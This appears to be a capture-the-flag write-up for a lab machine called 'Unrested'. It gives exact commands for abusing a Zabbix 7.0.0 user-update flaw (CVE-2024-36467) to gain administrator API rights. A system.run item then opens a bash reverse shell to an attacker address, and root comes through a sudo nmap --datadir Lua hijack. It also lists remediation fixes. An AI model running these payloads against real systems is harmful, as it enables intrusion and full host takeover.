Unrested
Summary
I found a Zabbix 7.0.0 monitoring server behind an Apache web front end and signed in to its JSON-RPC API with a low-privilege account, matthew. A missing access-control check in the Zabbix user-update API (CVE-2024-36467) let that account add myself to the Zabbix administrators group.
With administrator API rights, I created a monitoring item that runs an arbitrary command on the server, which returned a reverse shell as the zabbix service account and exposed user.txt. The zabbix account could run a wrapped copy of nmap as root without a password.
The wrapper blocked the usual escape options but not --datadir, so I supplied a malicious nse_main.lua that made /bin/bash SUID-root. A SUID shell then gave full root control of the host.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"Attack path: how the box was taken
Exact commands 2
Full TCP sweep with default scripts and version detection.
$ nmap -p- --min-rate 2000 -sC -sV -oN unrested.nmap $TARGETapiinfo.version needs no authentication and returns the Zabbix version (7.0.0 here).
$ curl -s -X POST http://$TARGET/zabbix/api_jsonrpc.php -H 'Content-Type: application/json-rpc' --data '{"jsonrpc":"2.0","method":"apiinfo.version","params":{},"id":1}'Exact commands 2
Returns the auth token in 'result'. Use it as <TOKEN> below.
$ curl -s -X POST http://$TARGET/zabbix/api_jsonrpc.php -H 'Content-Type: application/json-rpc' --data '{"jsonrpc":"2.0","method":"user.login","params":{"username":"matthew","password":"'"$PASSWORD"'"},"id":1}'Find matthew's userid (<USERID>).
$ curl -s -X POST http://$TARGET/zabbix/api_jsonrpc.php -H 'Content-Type: application/json-rpc' -H 'Authorization: Bearer <TOKEN>' --data '{"jsonrpc":"2.0","method":"user.get","params":{"output":["userid","username"]},"id":2}'FixProtect and limit Zabbix user credentials and API accessHigh
Exact commands 1
Self-add to Zabbix administrators (7) and Internal (13). Confirm the group IDs first with usergroup.get.
$ curl -s -X POST http://$TARGET/zabbix/api_jsonrpc.php -H 'Content-Type: application/json-rpc' -H 'Authorization: Bearer <TOKEN>' --data '{"jsonrpc":"2.0","method":"user.update","params":{"userid":"<USERID>","usrgrps":[{"usrgrpid":"7"},{"usrgrpid":"13"}]},"id":3}'FixPatch Zabbix to a release that fixes CVE-2024-36467 and CVE-2024-42327Critical
Exact commands 4
Listener on my machine (run first).
$ nc -lvnp 4444Get <HOSTID> and <INTERFACEID> of the Zabbix server host.
$ curl -s -X POST http://$TARGET/zabbix/api_jsonrpc.php -H 'Content-Type: application/json-rpc' -H 'Authorization: Bearer <TOKEN>' --data '{"jsonrpc":"2.0","method":"host.get","params":{"output":["hostid","host"],"selectInterfaces":["interfaceid"]},"id":4}'Creates the item; the shell connects back within seconds. Replace $ATTACKER_IP.
$ curl -s -X POST http://$TARGET/zabbix/api_jsonrpc.php -H 'Content-Type: application/json-rpc' -H 'Authorization: Bearer <TOKEN>' --data '{"jsonrpc":"2.0","method":"item.create","params":{"name":"rs","key_":"system.run[bash -c \"bash -i >& /dev/tcp/'"$ATTACKER_IP"'/4444 0>&1\"]","hostid":"<HOSTID>","type":0,"value_type":1,"interfaceid":"<INTERFACEID>","delay":"1"},"id":5}'Only if the item does not fire on its own: queue an immediate execution.
$ curl -s -X POST http://$TARGET/zabbix/api_jsonrpc.php -H 'Content-Type: application/json-rpc' -H 'Authorization: Bearer <TOKEN>' --data '{"jsonrpc":"2.0","method":"task.create","params":[{"type":"6","request":{"itemid":"<ITEMID>"}}],"id":6}'FixDisable remote command execution through Zabbix agent itemsHigh
Exact commands 1
Prove the context first, then read the flag (<user.txt>).
$ id; cat /home/matthew/user.txt
uid=114(zabbix) gid=121(zabbix) groups=121(zabbix)Exact commands 2
List sudo rights for the zabbix user.
$ id; sudo -n -lInspect the wrapper to see which options it blocks.
$ ls -la /usr/bin/nmap /usr/bin/nmap.original; file /usr/bin/nmap; sed -n '1,160p' /usr/bin/nmapFixRemove the passwordless sudo rule for nmapCritical
Exact commands 3
Malicious replacement for nmap's Lua engine entry point.
$ printf '%s\n' 'os.execute("chmod 4755 /bin/bash")' > /tmp/nse_main.luaRuns the Lua as root. An nse_main.cc assertion error is expected; /bin/bash should now be rwsr-xr-x.
$ sudo /usr/bin/nmap --datadir=/tmp -sC localhost; ls -la /bin/bashProve euid=0 first, then read the flag (<root.txt>).
$ /bin/bash -p -c '/usr/bin/id; /bin/cat /root/root.txt'
uid=114(zabbix) euid=0(root)Attack patterns used
The transferable techniques behind this compromise.
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive, per GTFOBins, yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http Apache httpd 2.4.52 ((Ubuntu)) |
| 10050/tcp | unknown recon-sweep-discovered |
| 10051/tcp | unknown recon-sweep-discovered |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.